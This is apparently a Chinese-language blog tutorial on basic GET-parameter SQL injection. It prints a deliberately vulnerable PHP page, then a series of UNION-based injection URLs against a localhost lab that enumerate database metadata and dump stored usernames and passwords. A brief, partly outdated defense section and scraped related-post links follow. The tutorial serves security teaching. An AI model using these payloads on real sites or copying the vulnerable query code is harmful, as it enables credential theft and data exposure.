sql_injection之基本get注入
1、代码篇
<?php
error_reporting(0);
include("../conn.php");
if(isset($_GET['id'])){
$id=$_GET['id'];
echo "你当前输入id:".$id."<br>";
$sql="select * from user where id='$id' limit 0,1";
$res=mysql_query($sql);
$row=mysql_fetch_array($res);
if($row){
echo "你获取的数据:<br>";
echo "id:".$row['id']."<br>";
echo "username:".$row['username']."<br>";
echo "password:".$row['password']."<br>";
}
else{
echo "mysql_query error".mssql_error();
}
}
else{
echo "请输入id";
}
?>
2、注入篇
http://localhost/pentest/sql/sql_get_id.php?id=1
你当前输入id:1
你获取的数据:
id:1
username:admin
password:pass
构造sql注入语句:
http://localhost/pentest/sql/sql_get_id.php?id=1' --+
你当前输入id:1' --
你获取的数据:
id:1
username:admin
password:pass
我们就可以进行各种各样的查询
http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select @@datadir,database(),version() --+
你当前输入id:1' and 1=2 union select @@datadir,database(),version() --
你获取的数据:
id:D:\wamp\bin\mysql\mysql5.5.20\data\
username:bloodzero
password:5.5.20-log
这里我解释一下,and 1=2 的目的是为了不执行前面的查询语句,而执行后面的查询语句;


好了,我们继续进行注入;获取了一定的信息以后就需要密码和用户名;
http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select current_user(),2,3 --+
你当前输入id:1' and 1=2 union select current_user(),2,3 --
你获取的数据:
id:root@localhost
username:2
password:3
注:有的时候拿到了高权限的账号,可以直接进行提权,详细请关注后续;
http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select schema_name,2,3 from information_schema.schemata limit 0,1 --+
你当前输入id:1' and 1=2 union select schema_name,2,3 from information_schema.schemata limit 0,1 --
你获取的数据:
id:information_schema
username:2
password:3 注:我们可以通过改变limit 0,1的值来获取不同的值;
limit m,n
m:表示从查询结果的第几条开始取;
n:表示取多少条;
http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=database() limit 0,1 --+
你当前输入id:1' and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=database() limit 0,1 --
你获取的数据:
id:user
username:2
password:3
http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select column_name,2,3 from information_schema.columns where table_name='user' limit 0,1 --+
你当前输入id:1' and 1=2 union select column_name,2,3 from information_schema.columns where table_name='user' limit 0,1 --
你获取的数据:
id:id
username:2
password:3 注:这里的表名如果执行不成功,可以更换为16进制
附:小葵转换工具 提取码:yisi
http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select id,username,password from user limit 0,1 --+
你当前输入id:1' and 1=2 union select id,username,password from user limit 0,1 --
你获取的数据:
id:1
username:admin
password:pass
3、防注入
对于php+mysql防注入:首先将magic_quotes_off的值设为On;
int型
<?php
error_reporting(0);
include("../conn.php");
if(isset($_GET['id'])){
$id=$_GET['id'];
$id=intval($id);
echo "你当前输入id:".$id."<br>";
$sql="select * from user where id='$id' limit 0,1";
……
?>
char型
<?php
error_reporting(0);
include("../conn.php");
if(isset($_GET['id'])){
$id=$_GET['id'];
$id=intval($id);
/*
$search=addslashes($search);
$search=str_replace(“_”,”\_”,$search); #过滤_
$search=str_replace(“%”,”\%”,$search); #过滤%
*/
echo "你当前输入id:".$id."<br>";
$sql="select * from user where id='$id' limit 0,1";
$res=mysql_query($sql);
……
?>
sql_injection之基本get注入的更多相关文章
- sql_injection之post注入
1.代码篇 </html> <center> <form action="#" method="post"> 姓名:< ...
- 另类的SQL注入方法
前言:相比基于查询的SQL注入,使用insert.update和delete进行SQL注入显得略显另类 参考自:http://www.exploit-db.com/wp-content/themes/ ...
- 利用insert,update和delete注入获取数据
0x00 简介 利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询.报错.布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的.那么,当我们发现了一个基于i ...
- SQL 注入防御方法总结
SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难. SQL 注入可以参见:https://en.wikipedia.org/wiki/SQL_injection S ...
- ModSecurity SQL注入攻击
ModSecurity是 一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.它可以作为Apache Web服务器的一个模块或单独的应用程序来运行.ModSecur ...
- SQL注入攻击技巧总结
0×01 你要知道目前有哪些数据库 微软公司旗下的: Microsoft SQL server 简称 MS-SQL 或者 SQL SERVER (大型数据库操作,功能和性能异常强大)(一般也是ASP或 ...
- PHP防止SQL注入与几种正则表达式讲解
注入漏洞代码和分析 代码如下: <?php function customerror($errno, $errstr, $errfile, $errline) { echo <b& ...
- 防御SQL注入的方法总结
这篇文章主要讲解了防御SQL注入的方法,介绍了什么是注入,注入的原因是什么,以及如何防御,需要的朋友可以参考下 SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难 ...
- PHP防SQL注入攻击
PHP防SQL注入攻击 收藏 没有太多的过滤,主要是针对php和mysql的组合. 一般性的防注入,只要使用php的 addslashes 函数就可以了. 以下是一段copy来的代码: PHP代码 $ ...
随机推荐
- Memcache CAS协议介绍及使用
1.什么是CAS 所谓CAS,check and set,在写操作时,先检查是否被别的线程修改过. 基本原理非常简单,一言以蔽之,就是"版本号".每个存储的数据对象,多有一个版本号 ...
- Java容器深入浅出之Map、HashMap、Hashtable及其它实现类
在Java中,Set的底层事实上是基于Map实现的,Map内部封装了一个Entry内部接口,由实现类来封装key-value对,当value值均为null时,key的集合就形成了Set.因此,Map集 ...
- 动态生成lookup字段
var i: Integer;begin //ADOQuery已打开 //在数据集打开的情况下新增加一个字段 with Self.ADOQuery1 do begin TDataSe ...
- Spring、MyBatis和SpringMVC整合的jar包下载
spring mvc的jar包下载:http://repo.springsource.org/libs-release-local/org/springframework/spring/我下载的5.0 ...
- MT【143】统一分母
已知$a,b>0$,则$m=\dfrac{b^2+2}{a+b}+\dfrac{a^2}{ab+1}$的最小值是______ 解答: $$m\geqslant \dfrac{b^2+2}{\sq ...
- bzoj3672: [Noi2014]购票(树形DP+斜率优化+可持久化凸包)
这题的加强版,多了一个$l_i$的限制,少了一个$p_i$的单调性,难了好多... 首先有方程$f(i)=min\{f(j)+(dep_i-dep_j)*p_i+q_i\}$ $\frac {f(j) ...
- PACS&DICOM
What is DICOM, PACS, and Workstation? What is DICOM? We will take them one at a time – So first of a ...
- C++ public private protect 继承关系(链接)
基础链接 总结: public继承基类成员访问权限没有变化; protected继承基类public和protected权限变为protected,基类private不变. private继承基类p ...
- [Leetcode] Backtracking回溯法解题思路
碎碎念: 最近终于开始刷middle的题了,对于我这个小渣渣确实有点难度,经常一两个小时写出一道题来.在开始写的几道题中,发现大神在discuss中用到回溯法(Backtracking)的概率明显增大 ...
- python中高阶函数与装饰器(2)
函数返回值为内置函数名: def sum(*args): def sum_in(): ax = 0 for n in args: ax = ax ...